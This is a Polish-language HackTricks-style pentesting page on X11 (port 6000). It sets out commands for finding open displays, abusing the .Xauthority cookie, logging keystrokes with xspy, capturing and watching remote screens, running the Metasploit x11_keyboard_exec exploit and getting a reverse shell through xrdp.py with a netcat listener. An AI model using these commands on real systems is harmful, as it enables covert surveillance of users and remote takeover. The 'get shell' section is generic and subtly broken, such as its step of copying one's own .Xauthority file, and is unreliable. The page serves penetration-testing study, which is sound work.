# 6000 - Testowanie penetracyjne X11
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy! **Spostrzeżenia dotyczące hakerstwa**\ Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa **Aktualności na żywo o hakerstwie**\ Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom **Najnowsze ogłoszenia**\ Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! ## Podstawowe informacje **System okien X** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia on framework do tworzenia graficznych **interfejsów użytkownika (GUI)**, gdzie poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowywalne doświadczenia w środowisku X. **Domyślny port:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Wyliczanie Sprawdź **anonimowe połączenie:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Lokalne wyliczenie Plik **`.Xauthority`** w folderze domowym użytkownika jest **używany** przez **X11 do autoryzacji**. Z [**tutaj**](https://stackoverflow.com/a/37367518): ```bash $ xxd ~/.Xauthority 00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M 00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE- 00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X 00000030: 041d ef ... ``` > MIT-magic-cookie-1: Generowanie 128-bitowego klucza ("cookie"), przechowywanie go w \~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci zwykłego tekstu! Serwer sprawdza, czy ma kopię tego "cookie" i jeśli tak, połączenie jest zezwolone. Klucz jest generowany przez DMX. {% hint style="warning" %} Aby **używać cookie**, należy ustawić zmienną środowiskową: **`export XAUTHORITY=/ścieżka/do/.Xauthority`** {% endhint %} #### Sesja lokalnego wyliczania ```bash $ w 23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session ``` ## Weryfikacja połączenia W przykładzie, `localhost:0` uruchamiał sesję xfce4. ## Sprawdzenie połączenia ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Keyloggin [xspy](http://tools.kali.org/sniffingspoofing/xspy) do przechwytywania naciśnięć klawiszy na klawiaturze. Przykładowy wynik: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Przechwytywanie zrzutów ekranu Podczas testowania penetracyjnego X11, przechwytywanie zrzutów ekranu może być przydatne do uzyskania wglądu w aktywność użytkownika na zdalnym systemie. Istnieją różne narzędzia, które można wykorzystać do przechwytywania zrzutów ekranu w środowisku X11. ### Narzędzia do przechwytywania zrzutów ekranu 1. **xwd**: Narzędzie wiersza poleceń, które pozwala na przechwytywanie zrzutów ekranu w formacie XWD (X Window Dump). Można je uruchomić za pomocą polecenia `xwd -root -out screenshot.xwd`, gdzie `screenshot.xwd` to nazwa pliku, do którego zostanie zapisany zrzut ekranu. 2. **scrot**: Proste narzędzie do przechwytywania zrzutów ekranu w środowisku X11. Można je zainstalować za pomocą polecenia `sudo apt-get install scrot`. Aby przechwycić zrzut ekranu, wystarczy uruchomić polecenie `scrot screenshot.png`, gdzie `screenshot.png` to nazwa pliku, do którego zostanie zapisany zrzut ekranu. 3. **import**: Narzędzie z pakietu ImageMagick, które umożliwia przechwytywanie zrzutów ekranu w formacie PNG, JPEG, GIF itp. Można je uruchomić za pomocą polecenia `import screenshot.png`, gdzie `screenshot.png` to nazwa pliku, do którego zostanie zapisany zrzut ekranu. ### Przechwytywanie zrzutów ekranu zdalnego systemu Aby przechwycić zrzut ekranu zdalnego systemu, należy najpierw nawiązać połączenie z tym systemem za pomocą narzędzi takich jak **ssh** lub **VNC**. Następnie można użyć powyższych narzędzi do przechwycenia zrzutu ekranu na zdalnym systemie i przesłać go na lokalny system za pomocą narzędzi do transferu plików, takich jak **scp**. Przechwytywanie zrzutów ekranu może być przydatne podczas testowania penetracyjnego, aby uzyskać wgląd w aktywność użytkownika, identyfikować potencjalne luki w zabezpieczeniach i zbierać informacje potrzebne do dalszej analizy. ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Widok zdalnego pulpitu Źródło: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Sposób od: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) Najpierw musimy znaleźć ID okna za pomocą xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** Aby **na żywo** oglądać, musimy użyć ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Uzyskaj dostęp do powłoki Aby uzyskać dostęp do powłoki systemu, możesz wykorzystać kilka technik: ### 1. Wykorzystanie słabych uprawnień X11 Jeśli serwer X11 jest uruchomiony na docelowym systemie, możesz spróbować wykorzystać słabe uprawnienia, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki: 1. Sprawdź, czy serwer X11 jest uruchomiony, używając polecenia `ps aux | grep Xorg`. 2. Sprawdź, czy istnieje plik `.Xauthority` w katalogu domowym użytkownika, używając polecenia `ls -la ~`. 3. Skopiuj plik `.Xauthority` do swojego katalogu domowego, używając polecenia `cp ~/.Xauthority ~/xauthority`. 4. Ustaw zmienną środowiskową `XAUTHORITY` na ścieżkę do skopiowanego pliku `.Xauthority`, używając polecenia `export XAUTHORITY=~/xauthority`. 5. Uruchom dowolne polecenie X11, na przykład `xterm`, aby uzyskać dostęp do powłoki. ### 2. Wykorzystanie podatności w aplikacjach X11 Jeśli znasz konkretne podatności w aplikacjach X11, możesz je wykorzystać, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki: 1. Zidentyfikuj podatne aplikacje X11, które są uruchomione na docelowym systemie. 2. Wykorzystaj znane podatności w tych aplikacjach, aby zdobyć dostęp do powłoki. ### 3. Wykorzystanie ataku Man-in-the-Middle (MitM) Jeśli jesteś w stanie przeprowadzić atak Man-in-the-Middle (MitM) na komunikację X11, możesz przechwycić dane uwierzytelniające i uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki: 1. Przechwyć komunikację X11 między klientem a serwerem. 2. Zidentyfikuj dane uwierzytelniające, takie jak hasła, przesyłane w tej komunikacji. 3. Użyj zdobytych danych uwierzytelniających, aby uzyskać dostęp do powłoki. Pamiętaj, że wszelkie próby uzyskania dostępu do powłoki systemu muszą być przeprowadzane zgodnie z prawem i tylko w celach pentestingu. ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` Inny sposób: **Odwrócona powłoka (Reverse Shell):** Xrdp umożliwia również uzyskanie odwróconej powłoki za pomocą Netcat. Wpisz następujące polecenie: ```bash ./xrdp.py \ –no-disp ``` W interfejsie możesz zobaczyć opcję **R-shell**. Następnie uruchom nasłuchiwanie **Netcat** na swoim lokalnym systemie na porcie 5555. ```bash nc -lvp 5555 ``` Następnie wpisz swój adres IP i port w opcji **R-Shell** i kliknij **R-shell**, aby uzyskać powłokę ## Odwołania * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ## Shodan * `port:6000 x11`
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów! **Wnioski z Hackingu**\ Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem **Aktualności na żywo z Hackingu**\ Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i spostrzeżeniom **Najnowsze ogłoszenia**\ Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.